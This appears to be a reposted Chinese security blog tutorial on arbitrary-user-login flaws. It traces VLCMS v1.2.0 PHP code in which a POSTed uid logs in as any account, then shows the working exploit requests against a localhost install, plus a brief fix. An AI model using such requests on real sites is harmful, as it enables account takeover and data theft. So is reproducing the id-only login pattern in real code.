WEB安全系列之如何挖掘任意用户登录漏洞
0x01 前言
每周两篇文章打卡。坏蛋100块钱都不给我,好坏好坏的。
0x02 什么是任意用户登录漏洞
几乎每个网站都有自己的会员系统,有会员,就有登录机制,如果可以登录其他用户账户,那么就可以窃取其他用户的资料数据。如果配合上脚本的话,甚至可以批量获取用户的数据。对网站来说,任意用户登录是一个很高危的漏洞。
0x03 实战的案例(白盒测试)
Vlcmsv1.2.0,就拿这套CMS来说吧。
vlcms/Application/Media/Controller/MemberController.class.php
post获取uid传进autoLogin()中
- public function res_login(){
- parent::autoLogin($_POST[‘uid’]);
- echo $this->ajaxReturn(array(“status”=>0,”uid”=>$_POST[‘uid’]));
- }
复制代码
将id传进entity()。
- protected function autoLogin($uid){
- $user =$this->entity($uid);
- /* 记录登录SESSION和COOKIES */
- $auth = array(
- ‘mid’ => $user[‘id’],
- ‘account’ => $user[‘account’],
- ‘nickname’ => $user[‘nickname’],
- ‘balance’ => $user[‘balance’],
- ‘last_login_time’ => $user[‘login_time’],
- );
- session(‘member_auth’, $auth);
- session(‘member_auth_sign’, data_auth_sign($auth));
- }
复制代码
entity中直接根据id查询账户了。。所以只需一个id就能登录任意用户。
- protected function entity($id){
- $data = M(‘User’,’tab_’)->find($id);
- if(empty($data)){
- return false;
- }
- return $data;
- }
复制代码
0x04 实战的案例(黑盒测试)
http://127.0.0.1/vlcms/index.php?s=/member/res_login/
POST:uid=60
访问后,返回一串代码。
<ignore_js_op>
接着访问http://127.0.0.1/vlcms/index.php?s=/member/,可以看到,已经成功登录账户
<ignore_js_op>
访问:post:uid=61
<ignore_js_op>
接着访问http://127.0.0.1/vlcms/index.php?s=/member/
成功登录uid为61的账户
<ignore_js_op>
0x05 修复建议
不要用id来判断账户身份。
本文来源:http://bbs.ichunqiu.com/thread-8655-1-1.html?from=bokeyuan
原文链接:https://www.cnblogs.com/ichunqiu/p/5703966.html
原创文章,作者:优速盾-小U,如若转载,请注明出处:https://www.cdnb.net/bbs/archives/18147